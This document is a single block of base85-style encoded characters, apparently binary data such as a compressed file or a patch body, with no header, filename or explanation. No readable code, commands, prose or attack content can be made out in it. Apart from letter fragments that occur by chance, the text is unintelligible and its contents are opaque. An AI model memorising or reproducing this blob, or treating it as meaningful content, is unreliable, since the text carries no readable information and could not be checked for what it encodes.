zXW2%69PcQJXVFLE4pUvHOzyjk7fZk_)>CKL#XdMmLP#!|K<=ac)rrB_dvb#aU?SpV zVyBEW&RQn>A>yWl+}tZe+SQR(+y}k<8o(!~Z-{$deZ1Ch|6{~+is>2a|6hCH*IxLw z{yGz0XFdO#39Y}v=qaIH;$0)ZEFI$qk7OUczc;wQ9?^>q78VhRU;jrk!gfjK zn*d3B%o&GwnhEzjlb9%-no0`yZzBHr2l4c`y?zqGT7_>3hXfN)eae^U!%eK(+=@^0G*kGa83_l2gW$c{*iDP z;R7Co7q%bW?tQ%9ht|g4;c!rfILJ0t{%ZLc?>o{?JM~e_d}>e zyf`M&uTIGQ6RTy}q;BF{uY%D}WCa&MG5`OpJ!`5l;jgtfX3A@f@L&7Ez>C-;*?z9S z)`4|qw)Sm$!(VZu_q28GlCpVD4~clRS0bNduXag%D46R<_QDH3_scbse3v-=;Y>-r zObzYQAV~v1N#<^j`=_mZ=l2fh_Yd3J*oeCxuBan77ja%@z|ok>GaRS-$Cc2suOwTB zps^3HZ#O*`s=IU$?K{<9I649CU3eP0PtL;uyfP0xt_8K|$*Bb=jC-8g{UiMEv(>sU z)VRapoxEK2>ox2BUijmC(7xCWk65|nYPE4 zme-LN>l(;AI3rk4g-N6 zmBcS62orCj0dZBrU&4=}?)CA}Zdo;@GkO69(Ob~^PgeexgIZp8>OYF-X>9i&!`B<{ zf4*iTM*NdApW_ee23QvU1Min!v!d|F9EzhM?O9gt9$g_p*8+%H&ap4SVm|GZ*yl?m z_4y)6y*oqFuEW>6Fj!KF-;$}tC+;IQ-sOXD_9D0P#COBTSixPo$W<=Eqdv`=AD!rc zjz=}wJ`_$ooU0YR?POtBW=nM|Y3S!`-_1I>om+VJ+Xk~Am`9^?W%iDR^ECktetg3@ z_&S$nI>85Yrgs6pB>h>pvHOeaVs)_Eav$!d@%r=qb~tHjf9pO|8(e{PuE=|IxA}Lr zz%AbZXKX$H_6B3UnYDthvCbM=2~SLC04`*m7j%TP)uAMO-s1Ej6qDI)(F>#>X@2|S z@Lla>T_1b)5p&DNRDfTEw#r=k2bM7Rh-dMBOC$O%h--)ye}FF}TESum5E?`4_&J3O=xjgut zuCLa96#v)$A!Cj+-&0&yef@vz=by`^c;Qdn$4vXU$omV!QPKJ5Ui`mLZJQ#mF0Pk1 z*S3JSpFx*stHguDB!Ryq-=}Y!J3Zy>AW1xmrVxG6Q9C^4JMnSk27K^e#L&xJ<TVkFP8T$EcoeMcKx)Ue~8AIzI3sI~9|eZJEi^t|0TkGpferMr=LjdM*1>_rnVI zg6a<~>B_$CQi^?xHfvY*ZjaLR43stY)uAzbzA07Z`W$)(meiIv_@xM*&DTA|u}A#K zcen?rHKg4hY1{)Q&VL%1W^xEP2-tQaYo8H$K+--Rm9K9O$h&9zg;VSpR zjRnjV#O^InjeYjPLRVg0jn`lA55w&|$P6#F1DNW`tEqPN0ez3w)4tJQrP%(l-0l4N zz4$5Z0o6P#{K_#m1MpTpr)~dHQx^|My-)rhbii`WX9f> zmp8Ua`13&7xpp#KTeQs@RU$UeC*=y}Hf99>;%_Jpq_e`!!S(X|*ZM22r#`^oc>P>| z?HMo!2Qah-*bn&>F9a{{!=#vs;z$vJ28oQ zXWUczeeFFxISIZfKi3&QM~NA=A4UJ}Vg6tHiCcG1)H%>q@kLH@Z((f-T8UoBM%Epz zzSslkU{iNYyU>qk1^)nUS>{u6Vb+~yC!Xg)cqY`heq18%2N(T*ft(u6otT@F4!=0; z@k#07Q;V5nHt2|;D^}Vesvf8<{;( zoIX2z@NUl3K8>?=y@{ib5%-=c~eQ&Zvm@*1c{9AUf~?};zT1J95fp5=30qiCU=Rxs%HOH?wMbvcg|IO&E2TK}vrO|`0 zS}d=YfQ4-&ciLyvxJ>ZKGfl4zji=Pu$7sErL2K=*ggiPdmyfMO3#z2S)7N=!&Yb(Q zg|kZ~w9>4p(`%h47xjC^@3j};SD&E9{eSYkY?y)XXpGN3P*XpUhd9x|33#8IdZFS& z$|ERXhW-%RUG~<$F*m!2p<6t(b3Nm;1V26`F(1KiV=llYKOm_Q2dT~NmXy%H;l@&{ z0mC;vf;)Ggnhf=pv>V_&V73Y8`@!Y!EYV;x-_R=4yf|b-6M44WLmr@Ee|;8n5IAG! z&|0`a4t|lG?-&|7iPPnA^LCQ-=68rzsY`_T}v)24m6*56(90&83rEs7<)p_sTzRKjJ%V3 z4Zj|Q-uat#^d^8ygn~lqUH5Fn_P>MeWFyv7ACR3rqW8fc)Cx4;SIb5Ws6C|` zE9A{Z&oB2t5%!vD@Kr&lOm(=swQ`ngf$PzNyC;$FFG&(L+Vq55aO18*Ej|y-e}cFL z4T{hJk>IuXHh35MJ5!^}q#l=XlR62{BL(hF+_A3oQnlk*wUKb{#!#N&)5U0PvCal} zdxbl>8=P*|I9RdQO`IvTmp)Rv3lE@v2Tu5Tn-AY3x7>wh;a0F7{(s?oKYq8bM1jpJ zF7)5_jjyjQ^f2uDBKpbx%Wkj-)ow3#XP?0b$9F&D-+!^1S^;aU8rY%iu`tec__h{c zlP%Ci_K|O3kuiIz1MF`ni3i~h@O#NQI7aBI$lbBz#8cr7%ohn+4R-`z8Mz1l2^OAk z2i*6Cf#*PQ7Lh0nu0%?tJiZ+$Z=YV2X`{PKjWX~)%bB5trkdW&CT(9s+BYa64IB$e znWA~&?cn1%|Jk{_v$LjIxt{v^KSePe1J~pAPuBiV&bQWkb@q=1>#IH>8*BgDFVnrk zJ}?LSDFFU&Xf@Fn=33sG`H>dr^_o+MvXs?xhDr)GO-XqTX36g$)OIr8z=?VW2F%y& zYXk}LZQH1a;^W?~6xD{7mvgC=PUE?Z7r`%NvKNv$CqJmUs}{lI1=Xp+aK4BYzY!}b zh8G2{9tE#Edau@Bno7)maA4x+uRQ;l{cyF9^nk11kvs}r(`~+-x$cq*{+qDJR}#V9 z{%vRBr>mVa3@i^l!SkH^3z(k&D|5*g$RQsrb2l*Epw(I*Qa__uQe*kBxiQ*$O^tmO zMeo56xa7(kNhaP&J4TIxK9x*rg1Yt@@DDOyfrW+sMZN29^7#G6+MCetQ!Z(G!dpX6 zEyMIpK84O)x*20jkHVI+NAt?XF%H?l*mXIp7NZ#-B6x ziuwV3fa;DEq;6aye|D+wPz?W5Na|OzWM+)cTt=pOilf4cS-oC9XV1B zX2a3zg%ADCYcy*gO-&_wPjl9v`*aW5%dCGi>;IiI{&}ZA_kL4(vc3g#6nMV|Z1``@ zJ9N$%XOlXDVFo^&_5K7p9%?7CK*OB4|FJ1(JnQ`frf`M0p?oJ>E%i{`u^*p zk>bvFc4z$?vp@Maz_sEHo&fbJV&1gV{mF&M<8Pw30v{pi*&IoFO|BfeQ4+!S;v>NJ zz)a(KUeRBkQ3D6hO^<|A`cC4*AItZ*w`B2zKGast(ZMZ-u4oQshZK-e9bBYMO=irv znlaP8ELyd;%=uH@u&fwP&wMVuzsdO(+t>Uq%Mb8<%?G*D6(4TbxH`Oj=D(mx-4pJp zHTS&cgj)YKVngDAKk*?NLl()GQ%b@ec0t42r*;YW<`u-FY#w;u^tGbp>Rt}bo{k>! z{^2o6rbi<_@)5k;P_W@3==u*O?fW%JiZ~^4?+!>p=nl$4;76}lONwGfk7k1#p)*LW zH;Ed0+9mD-u);8~u`k@6pTLJBsjF$-RqH>IyP9CsVt1gwy`v#D0M>!KHe|C8@gTXx zl19vy<-XYLE6@IFL^#UNso8~*dulD$u=QYXyjSgT!_bmAj2$7z(_HijIh*!-YHoUg zSU~g02gH_7HQrcVm;1@x;0Y*K=r=ykn@8+_o zUtQZeb~3uXD|6h-Gf$wB^mVs3v`JLE#KD$+4BLFvebujP%%|KfdO=xl&G~cT6O_lV zF}==nt5wcguIyhdI~MklT?=|L^QRO&oNxoU2UJrchY=I-cX@9?{!qFQ`h@6KX`f09 zr=l{*rxMx-*5Xwj-Wh$R^@_s-AO`IU=kv~)%@XONqjONI>2;F9>XQ!#&C%yCWxo5AF+>~uAP2h#%L2!AJSQo zUv{xCwl|>$Ph7W6IXg|{!xnGiJ}-F_;7_kvJ+wi+m_g$uuQoIXZy?s!+AY5Ot?^oq z_w{)1Zp^RN8P>-pGmrc~=FE&c@MU68oyB#H*zZ36|M@D-C)jV?`JeG6(da%T9%?PA zVA|=_p);uQW?mfxw`eqR&U9j)MIzzUb3T*LeLKi?4qgIYmznsGddVy5IIMM27#VUp^pXyElfdgV z!cxP|LaLRvHTWIs^YelKs1}>@c@2#a@Er96s@+i(eo({8h3He?4Q9McqC-!KZ=K@e zU~f&Yug3macZd1`tqJSgX$L!Nw0rWR)0P8%Co|yToax-0PA*o=TPu$*Qq4~EF3Or2 z^P0A=m?ZBXpOuiiC(#RiLoV|HZVPdN>8+&deUN;QI^iYi87GMk4hRVV&x+W99t#PE z3-FxS;01i~>!ZQOyBl|CCc1R#f!yaO(JN70nO^WjaI@G0%%Q+fMDA=&y||TxZfh;C zH~BD^rKP-F*HnV(I}F~ytJ?aXuRq`KMn6hTF&x9tlG9hM3GAmPaD-aK>1j3O${gwn z_yDanX`CMhALKJQMl>A31n&IgL+#-v^um9kt3^DM3{NTX%~DDJuo=vLpCm;F(i47# z*!US({cE(7IrGWktbaJKtbh6s&i;EjzH_y-Yg9!#xT9a@Qw1FgX6v@9WXz$M(XpyA zkF1>&Iu`J*T9J#DB_{WTA3CgOYpGVIxKZ;p2e&o&eym$Q?rx0-bMUJ8zZtQAA-?Y3 z%#qfsbMoW;an9#u`bnLQo*wNJHtqoSj;_CA1_jX?b1qwyS<$M`o(Ii3_F&yIaJ`+; z$}26ZkK+TxwWsHXzE0IEPQ9RbayRbR z_RO8}H)8(CoyraI1Y4muo1E|k*pBw?sy@usIa;f)X<$TW^_4j84A{=UZCN*a=B1z? zr$)_AH6-=@Qn38x-AbVWz`Q50+(X0#s`-8g9>^0o9&d;z!dd?q;?fLq7Qy!mv7Uh6 z%F6}Rzc&-}9)rhm1;2j_4DSWG5quc997(b7BrWx;ynl0t`2LDKxp7SVn^Y&Kx1zRQ zNSastli7h4WUMzjB<@yd8dg9%u#&WO$cx{vzlz>-M3a#Rr<+lKHEWJ0y|9NuGKgzl6u+4t*kpZK+sxpbAvBZ&%of6mvJ17*1+_~ zRslN%+t;{`y79klR{JtC6I0z#o$;YIjrTgcac0{R%vZBB=5X&Cp*XJ-`~!3#sN+8e z2hjX4k~ko7KeH50^Z?5p1ixz>bx`(h$ac>DdDfo3B<%|!7EX={A|@?a8MOA-O-DN+2#!YD4GF%# z9UXyM;!?3N8Xj6F$ijb=1FCyR^_?vEo&|qjHQnrOt?2zPBsGZ_8iPf3aziJlRe3`* zw_6&t>@L`kD7ETU7 zAW84HfgNswBgy)Q{RLlWj>MiFAjx3I3E;**xa+@h=Y|I~<_w~LObqt`4%ThX`~@(= z6O&xvXVl>Srd~iTW($6NGxeCw)a})_Fq>TM*VhyL?3wStjGWf?GRBX2Z9i>X>#P~_ zvpSY#4IE?}dd~k$t|RB?P_I}9)<+!ic^mwVy{tVv76Hc>^1Mtq=t6&4=6857aGC|4 z2H+k&f)V8OPvm<9zVCam(RXoV+ajsS95C0?e@I(2$+{EI_o|Z%y-4P{^(f0+ze3F7 zX(IExS3@_-SsJ6gSPi|@1`eD*e7~nlMQXEfdGY&tMiuu{+}7ydX6=d%z9|Bkx-FQs0i+aQQ#z`^?R}H0BU;R}E`kOjZx~Kx@U79@RgXF=|OK;2$!n zADI6mIAIAv68-TyT-LM1Mwg8mM<%tT%&4RI&HeOnZDkMW`p=W3tKj75K&782r#i|k zLF$R0$qj?Si=VDR!vQUan~Ob}#j5dqT{rW!hwkT+h-XFPXM~}+PS;QaFn=;fJEx$hX zWYZXQ3ud-5w6iCo<=DZwu(;U#E*@}&M|Ad(TW7a|X}^#U!RL$`cG9P_;Kj#{dUA5e zRyYr9@dFzr{sp>~m&eE#v|he~r+&oWhQTFxx>)r$!R@HYXpK(mv)iZ@t?!2h7+jnM zo$Z;|TnY{L5@@TGWM%}j0sKq-kNJY5`O?4G(lM{JtZtrVXcl=@$tgb7a**Si(ce^% z-fKJJ1g+y&G-eK8ob5zyk@;^MJPfQd5uS1?`D*H2dJ=+|hZTAVfB#efz0iRQrvD*I z!rwlS(1({~aEB(GNNI1lI#^{#Bp-Z`_ljqIGDw=ZMzmrvP8IFYR4pLZ#Aa6TGnLbqb?0Z{HD;`p*7Nh{LNgqVE;Dq(3eqc5 zucD1i@6O!9<7n=jA1|LSjF<2WbGct!4Bd5|RaKP!AZvOE6erYm*0@4vgj*9g=0i{D z*Z#8ME-4IVsMx$_kDC9K@@xvT`8tKnHu7-<5j!$YyA0f*I5kl}?a?o?W)wJt{NWFteF>oAah`2n8R7;{`b(R=%sc~zr+ z!g@DDv*wpI=Y4a&-vVpvk`Mhj8|I3`@8}6H1Z}Ysa67MY-@G91_(EMFmiRwK^HT83 zw8!+Fv2RUL)N3<8(qsEZ62L)1o?nx_n-+1`yRr6gsS5lioyg&4aj&l)#c zL&w&WDSpLe`($q;r}CUfY=-~KBf~mTOS!d2-ho4;d^txy^=bNJPSV!R z9gr9(A8yVz`Z=HP=`2yF2FPw<6ZUzNDMBL7xt8QY=+ zn$4=|Z)?nP>d$+%0qFXv{rcLYJUUF}b6`2?rNPQEe;)JTdyV*+H-4aFZ7Uhtl=;7C z#wiDF|G4Vt&$>_(s%zvPG4S^il;fay-y?KK=toTZPVAQwEMMN;lhEgvWy{LxQm;x$ zsX=bnpj;lb2ElL8A79X|vW#hxNA^!(mi^QQ-1m*SKOM;X>FWnyZ|CkP1KKr{UTvF$ z!J)fMAC9h#tz}*#w^LnU<@cyh);?YB?J>Cj>;u(ewBl!#(2BFCHdF(C_;7zG*+1J~ z0_T%A9YW`Ix4%5w*+YU3P3G<^iZ3sVK2>S>gRD7cUb!Gf4VZqR0{Hvf_yg@H$!pv% z%)9>y63GA#EjZ{`QlX>zh#@ zW(EV?&x3F+G|pSg{MW@@ng4)~AJZJo=7!Ahsf#8>-F(E&mdpbD|C?up9LDTb4_+Ho zVC~E2X6@B}u773L-_?>Cpe1B(M|12;j?X+sZy&_0qNJKrcCO{tkm%y^8NG(=65%h`|uAx9O@)l z`t_<7XH8W<68%3gA=UIQjNY&20(por)vWU7!AH;=Q~-S-jR(*GbtrEyuI%$Rb?v1~ zokB9Oem?2p_`B>F<00F|;Sa`ngBda3li$yazO_2V(1b;IcW!?V**(9ze0z@m-;2Ex z{d$jt-&-xQFV~?{x>BB=9VJ1>`=PVmMs5@D-+~8lb~<`)@NKpYgE!bu*PmRDdwxQT zqG&jxLq$B@v%VE^HCn*+^RvIL|HoQ6ppRNzEsuEXy^rtr##-{;$03(=;Qk-vSxBb) zmxg~<$>4pdCft4ayP;cnj(fZ$7A#WdB&6IzU;Dvg_>ckkv%PX+?@IA-D$RNLo!;D> z^z0Uv3GFMPH)&(csh-8%IGa7SeL@4-G{RL@4XTA6eID`P{`7V!A)Q;+6JJkP>aOVa zaLx)4bE^-wr8tpjDj;D!dK>`{e&a(f%&-`72$c|d+N zew9mThOaSr1_s_hOsH`JIcHw>MM>h)233m6@V2$lQ!Opt6|yn=+=jVK#bt5t+A_Qu zy~AE5WJ0@Y_-1;_!MOdn7bbUimup9s$eX8o<;j&5^5yAziF&wH;=zKR9_)sW{S1j= zE>$QR)sLBLcZ*(}bNJz7@Ujk2yV*Q|Gez9ItaE9Z?w1tA)k*Alo)(f)B|cf?~lrc1w)Lvz79p116I8dbE~q+l=c;wCC7Xy=E!UqQCqf6 z_C&*_5HTJaKTh=3mHSP6(Q#Nk9W8l(<^UAUhh9@&DURM=u>$5`x%hT`a!xQB#bvdQ zr+B{h_+%$m%LDGK>texLl`fEnSpQEM;OD{|mE5voSVOtFsh^yj#T>w$aPi=teWkBC zVmq~~eJ$hzwY3Le;xX5!%9H)0Wc#%C%nr8@FDL3kmedTG-Jml{4W20XicuqCpZ%fh zuUsQOgKEy%T3HygOG?v&*vqG$^z(J2UTuelDRUi~*n!(`b}S?FIdk)P{q=qbapDkfG*rBZ6}-@% zXJ*I%_T~_8Fm=8+fmm!&H+Y;w-~^6?{{>G#xj&)wl0@?Set<`(UmM3~nKjFj+1pL3n8~yO4duqsxwJg(MwfUl zEu+ij-H8DbeR-7pxHJOp*bw=!r-OVw(VLma?IdV}7u=jC;PZ9qx2hw7U_b}p3~mR< z-$MQ$FxU}XA6;O2ayF?At&ZU@Skp27MX;ji(W4vQx`d4KL$|`O6tf44%fwbizy{&( zlUHn`E_9Or?=3iJT3>h%C*d0$##lbXM`k}po}VvQwvLnG?VQMmvZL3L4NZpZ)aWWp zn`(a=Gf6eaTiB1Z9kbkpgw&C z1!XdNG^NNPYnCa7_O#X(i39Z>(0o8^MSPaL?1e19M7~L^nxD^`AO4umd96n6z>)aZ z$C>#{&C8(~M18BaIrw%(@uz+;mDhGP^P+EuZs6cX5`2ECMBH2{U#>5br#pK|$o_uD zoTaD}{lNqHUG{Z==hKUO%pXoxQ+d0-r94^MNN&yd0H<|>o9hJL>jEdYmeC_}5bo$9 zIHdZjrhL-b-AZ8eZ7@G%b{9KpEv0#7-V?T{Gk(9Pox%OrzOc)1gC5XJ@>+Wjx6H)2Cv=KcqvwVluUZ1DexyWI^|;GOt@D15+Ny9vjih&cOQ` zRWjpD+pVp6KF#1tfLYUf^(6rAL_hb#=cu5C%W@EZG1w$ypY&vsdLgK>Q>_t9< z#)G-Iixe+X)BXc%?HffeT5FJ6Ln=TYQElQ%hZ1lF(6iAzYqTFaSLle$=ulZk5EqU2 zEn{f(PxNP!jS+e@BpqTl|~aPpTf@{ar^oP7`+;6weV z37CvK_p>{9f;;yC7{RPM#+|Kvp0o6YoSET>uCIe(r>Eirm>sa0o}J(Z;+xt)9YJj?>MXFhN>>D#^;wfCZ|A?HQo zYwlNFdp%QnpPT3Ad~^5e{EvdF#m@QHIA1m3bzWR~bT>M9xuFwOl(^AGj;|Xk@6Iif zh?D5*AL)x;c2|iz+>seS?IcBOr|1?W9R#z)VyU0T!l_C`#~^MGJR7(aG3cI#ZN|SH z?ZND4`goWf6nb;91a28&@K1U*t0_%tl@q%{xtQ$)2EpgnSp-^d(z_rRramDb`%`;J zD%lm~j^eYUFQapcYL>NyvsziI+2laW$d1`e1!Z=3Cu*I!cwXgXAhFnR?u736hJ}5( za|4)F`(lfHI5A$Xt^#wvGEVOP@=VRTO!PteF#huUrrq;Blojl#> zCC@jvl(*acx!e5M(>@Zqy`==>yMw`x-@p$(HlZp;{|Pl-`aWZnrAT6EoxYrA7|s+a4{S-mM!*mzK=PE?bmYS$dwq**Q~LefX?BXI}9g3)bG8 zyS*s0bhJLNKexpHm#|`1Jaw4X4Qs&vq*m-zRgP~NDbG*Lln~ zPaOSN@oIa$dBxZVx);a~E zZ*%F@%0)V%L0t;Ykk$ot&ni}^niB@^Ok-268?i5HS1-%l(h}TF+)wc=2d9({H-eBex zoTMg1tu-D!t^|6HOfP4Hy@O>Q=RP>qS3Vx=De?3j=qyv+AKy;)lxXqO6pi(xn5cNjc=^7`v)eE$Zy#a*}q%KHr=&WunF>S2FLqHjBuc?2f-?CJOC zqcyuyHi32dRn8;LncXqQznVGo|?IGCK8Uc`H#h;R}v3*Deh34ETi`@;UF3cU>OO# zj|S6<+>d4f+7-!n$HMaq5(h5m z=_~_03dndLJ7f0t%ueNGcIUF_;kwA<{X^v4g~<|i4~;MOLGsI`^7YPiqyXnL=ajX0 zNDs}sHOxC&Ao0{;li*>bMu5k?r9YKE`!qCNvuq6g)??v}pfQ233*Fot^P(Sx*=Ij3 zbW00Ek3j1V@zi&dFQV^rXB7Hj6W}Jn?|QXRsac*a@wOZr^K5k{Cjb{x5$JM;PAU;wxH#KL|7*2h>74ed4clOfMGkd!j2qPnldB z{QsJM@78cQ*Ss1(ho5ZxnSp5PP{&jb+ok>@a53c`yzD3Rq`gN+6I?SBTsHIbDQdMB z$kDfw7r;Rs=r1iAITL^8CT>w5rM%Ou95pY$lYaJM)Sm3gA9}TICS63r9PGN51f7}*j}9*B zTeM@o9DrxD8-Do#v_;@n25HS`9X?`$b`d9Q?sVAnyA4`B+ z6!#B)!LTl95_FarYI)y|piOY3lf;nQCtpIN;r3|w+i>@T=E2=xLT!4b7+m&`J0%&v zxRP4u@D`=f^0#8%h=Z&e(Etp=5=_BX>Vj|7hPU4YOlL$NU(Rk3FgbeaiHi#0BQ1&R zG)67}j;?dE6|XC)+-xK7rvH|GP>B6dvwTshYR^2prghK^M~Bh1lH5E^FL2Cb34VD< zencFV#Ot~s!rB*I2P!f zXXyKj=$gUDH{BVHPRlejTi~rnY@(cnHpQ2Jn9FdUnE^*7?D;X7GQ6$y>%zMFHxnD~ zB+XOIjeG?xg4ocSc%>lztQbDbt(rZ$kPgf`>@L0AcuFN=mlEVGPUVWhFEkSuYKU5U z8PJURd9CsN4Vb~wn%Qn$sxT9-j4{(Ka1*uQs2k8G;Sc_RL;K|{T#F0v>Ce!MjzylM zen1U@&zOuU?>Ii}h|xEj7V!^tM)Y>Hk3NDPR(cdw&(AQlI80a?rn*f!n zGPGL@sahsK&nPEz7V;XikgfENPrnpr!k!$^Ht%ofg6Cv5dX=9%eJdH( z%Mbnq8oVAg<^7AR@-+-z^|#xSns7^^(V9z-fLs5L-qAPnS^Ejh`5eaYGs3V`>J!QE z6VrG#@janW*D(H!u;v*z(bwYl6|`wG;oYeT{!)MUO!j?R*eWzGx6qn$SW>?RvIbWq z^w|OUgSTZ=Umt1N&{>A{=_uuj6#75yorhc3Rsa9hwA56b2+D>JAVY?L2q>~d1p!5- zsR*bzP!tpgiWB$5k$Z(^3$skiv|*N|WtO95nwi~qnOdgd>iK<~kN16D_wR4`)pebV zrN;Yx&Uww}^ZBysgtsGiX-#d&rF|RXR`LLHK`#e1ifo%J7S6!Whu z`f(4@^t;bJx%V;t;>-;AxM(q4TyE7Aesm3P+tpnx=Dl16!+&MJs;O%iqQ^P5pN~?& zz4^DVFK=7sp!iaM9GsvL8FBKqqkqFb8$7j%?V97)+iA!Zw z1~|aYaH5W4-q-NVzRcS2R)jyZ5+{#jX2X}@t9jo0;OlQ5Ll3}ckHR7QVI4LOJ<3z% zx^rZt?!H-|dvH+hy;Z0>J~!INb%*k;>;A!fJzzcL>xXZ`KW5!~6HS^!{J8`9=$;l} z2hdnMfzLZP8(i)Zuvr^8``eK8s@20AaFOqF4|$KjUp=lp8|Nx-V4Ow`>W@Bn7df?P zMlZ1~J`A5gZqSOHrX{w)sU@1CrgO|EYsxSBqXJ%_QP}#6v?B_Y2`yBkJZ`tqj=!Al&yoELv*rNOBLEruDOYqg- zS@A{>Z=Q#T!hCEriXPs9vwDX!^5^Nt3*D&)CQh`@M18CqXl$anBX#t1?|uX)0ln9{ z^Ho-k`@PHS^!vq)*qWDg`||V1TRUZ}2MUo8SExdLTdUpzmC*2WRP*5$D`JTnHB`6RZrmGI+V)iREs; zh{gcx4?Z_vTffK0Kg}|{B{0-RtHUho=P#y%v(C{yINT46zc^iimZ9M+uF_wZh^ema z!4A~wkE{E1>+(VU_We$yR%tayK%|pPOXM~}tQJAO<>_Vv16Dli60zdTy z`)|%Zcry4CkN&&}uJ&tsZs5yrgRlCH{Wf274j$dQfE@GVb79WNJ?y~)co%=){!EXK zqv4AF{{!~<;YX#ciF^%)*Lo)4?GWSFovBnEysi7+q4~`DzYRX^QQc8SP}G8<-J%=x ztE!4(l-k7>JWpfrl?G?YGjqqyJdQN-vqJ7guP|@?AY4k8Q(N+O`sG3HHuCQ9q?Kds z(guD7xJnE4QZrkrN07IQ^Rg7h$IO245Z`|dp4gAz=FD8AkFj6e`(IwekL|)X!?XPg z8}%t#nCQ&iA@0A$Oq0hNX>b*4{cCAE=-$zq>o_taxGl9IQ@ge$wrx+{%A;Ll%`baK&jt!HiwtKJzZXRXx1@Gk5wL`wrji&&yU$#b1AZ4d#w@hx38v zpy|c_dGiACG4_I=J^JGU{s6ymf>@qC)+c;KFZOYq#K-@B?=&$VXI|g0Al_R|oXOt* zv>kj`jlMiwh33AazB#%^8!B=X=Ew|Y@G~8l$7t%{rWfam?GCn}&*_OaC-n{oa6Hav z>2#tmWO)1G=xO&)`{sY5A4)8-M2}yh&5+IO@|1c$;(a2`2wRTmO6Vf-A({ zSI~bVzPf&~RzDCIY+E^&7%xN%rsiSCY{~svlEXBkPr>X$>KZo0g)PW!Ow1ETe__(F zBo$@FDT3aiJATl|7W`EVbAjPQ1i^ia#YgyI{|Ceb>bJ{g#@a3J1G6{k?%@A_hhuUB ztR4KhdzZl8{J{6lvA%#`LyYj~8y4St_@j0G{Qy162S0-;1Y6FkgIjVJ4Ch^Zruq88 z5#qqZqtLLx7r^JZ|0Vit-=fRGId}wz_5SzUbe24%uU~!5EQrwL!BJLiG`Chy$c~~be zgBf}os)}{z>Iq%`ycWFhN!_`2kXW~toM#6)E&Glw{`+(05|GP2V1NDshxP~d`#O7f z4Sezs8{w&LFdxBtn9r&IKK^Jvf4na9@e=DIKf45P{nDm*>cDZ{AIj`CG%N6rkKpDAyqmBG56;r}{$d%ica45JQw^qkhc0}uT%W$RP<_Mbe--yv zH)0`s;y@Go*nnMVPHo7xc~kkjfn^W%P;x{k`H=$z5F@+6HFM>jbneiU{SVfVULi^h zc7X%ifH{Z(oUdct{p-5V{@=fIoA~!P?)x>q23!8{5?tET`r*uOeR-^!wOYSldW|~3 zJNRwlzZ=H)e+@q83h@sy539~#%ikQzqP9ak^oTg=;Tyz7hslG91N8-V;A^yezgetX zUyuv^x>xV*8qNIZhMF`eSQ$N>l@ZsO*v9bW(bmPb`Lu7Mc(A%jVEW_yo8r@K6h;3l zhE`pIXIu~CoNB@L=<(DhbPDHEV+^T4J z^#AWNnu=#xpYyXb)iFA=+Gtmz)da@<+jaDd`L{0fZ~jQ#^j~OfUZ;+Hn>@LW81Vsj z(FO&@YcI16>uiSC@5tGdtOb&_k}KDS1nyi~5Lv9Zca_N7jhCqFlOg7lCa+B0v6 zx}ljTg@d!oBUNn?>j@I=FSeU*W#r zgje(ncK!$AJ!~U0A?nBtZ?fNuOQKc&jJH-yh}J91a&@M5hQ6UL{_oFrf_pv!|Lk-4 z+r4!QT~0Im+RXnl&-OdIp|?zblsf+n;-Z_cW>EtesfQ+yK2vGsrrp21NgwPQ4i~4s ziU;^;!ZXoYJ*Nae-b5bkXOIK@TCk3J^h_qe-AE5_4pyF?2m2rF0Zz^btzK-JH(0xv zU{9464bhQTcPYD17Zqnk=<@MxNQLjx&nH%5ckr|4s`WQ@i@KAQdVsIGPmEfJy)rtA zx9LIux;qs`kmVA?ZacRqx^pK zY9D~xdhq!Q=3}nc&iR8hGCf!m@{<(|hooa`;#||iXvS;&fQ-0iNFs2a!BW2 zodK7_Qx)I=H;(VB@}%b4Iw@S|YOz}v(N&_q{PV6%on6yQXV>xW;17QauJBuM5Z}S^ z|9)*xbim_uWd}VUV&v;^lK(t{mf;8Fgy)v%!>xmr6INf7vjSB?O?-XTMD`SHE?mq$ z@LvpPXEMFM8QEUUXmA9-Z3Dg%e53`PCUDp;%CE$s`Vi~(}c5NJ-2sjzMyGxtFlc2+KZAU5?lPq1_Jy_q?7VGNK z`8xFMC@mUKtrQG+7@7l)~u&d|N4|vkiO^dyVSn4IT?@Za`~=xe_Py z&U$tAQ?C$rUH zsP;_jrqNMPXg65PYxG9$oR|xitgqgl-xH2dkd^a!2>ifDi_sxvrtm3v|7Vuc`&k(d z#(?ucd~|K^KwYn;r*dSx-d>)hoZx!we}JasC$NVTsb@W<9$to@*^(ZzH(G%7l(U#e z-QNXH0eabRb$y5fgIrrGIm%n_?c1n6LH0@mAOH52DY|rcsjeSes2}#@_upgAu)&^UxPXNhW`Dvw`b|%!TG8#<=rv! za#m44=2_Zs$Dc%3$VSn=VDCa&sUV@Fre*uV#bDk^cSrfQqaH#%%+w9sTh`av!*Faa zqmlL92HpFTS~uG2|9Yz!93#4{(?WD%&uES7-a<)^Pbi^7J@9*8dUIKpCd9Q;WlB3{ ztHRwqI9eOP+)X2fA06F7`C*N~d4cgOfe$_jO$fB#4x{7sPGz7zSrU%U5BzUz-^H!W zs;qnctg zx=K31zhM3#x(WOFT@Gth3?{cY{S=ElduDsy7W?kF6|qquU{_LmZ>Q! zhIOHcp~798ao53%#&^)f6c^0{BQ+}*j(dWO3}?W-HFa?tW{dNVFCE*gTPKOd z>G#~H?^j37^8Ai|dal@sS-znC+Wx9-91PXFq-aT)O_fuMo`fC|!7AoIc-MuCfe&4NkD2 zZGyH4^K3>Ww1I-tAM+sgH`=CUdFYJ5U;6c(nQ$(!E9fg z?WbL%?DQ7e&?hzwqJIDu8SHIx=XM$r=gT}gPYsLdqF}NVq>T6FkL%3!_s4{%(t2Din=8f*7 z>gmtGuV@Xv4P1X7TETEe*Noz9VEczgwnMAIM=MIRv}9~wdITNy@t%pgOAqV%TNA(# zqkr|nK>bY5{o)32CgfkIm%%gR|Mxx`WCywDZ=z4Jk9+Y&3~iqd~fayS!ki z1)WrPesAtgCJW5!9M;VK@Sgg+@-E!0Gp47dxocV)&p5zYbMZ~H2fBergzrj>G%v?h z^Rk?+c>TG&|2diF+*mj-%u1&RyW|--Fz9hE2g|bT8Gr0rn3fai zdX{sz3Hz{lEV%Y^U*b^o`Idy~!umMQ0a_h9Qjmk92Y;{_TL7;6z&uqHbl2D{xNhO? zz}q)bWrhRq9-Y_mVf6jrlENXj*fyjOVzdS7>(Y_s`t|S>@OSyTyfa;=SN71JQSc?l zIqKxPetKhZiY9|63**mrBj@hh1>O-pH`w@@cJ;U)=&&wMVs1`5xQWa|Wd98od{lyi zrVK=H0Y2c+ZY?w!-(dKkn~U))@ILlW^+jVQL`N6(fv?p`2`=?C8Z6th6}ehJ;~Axf 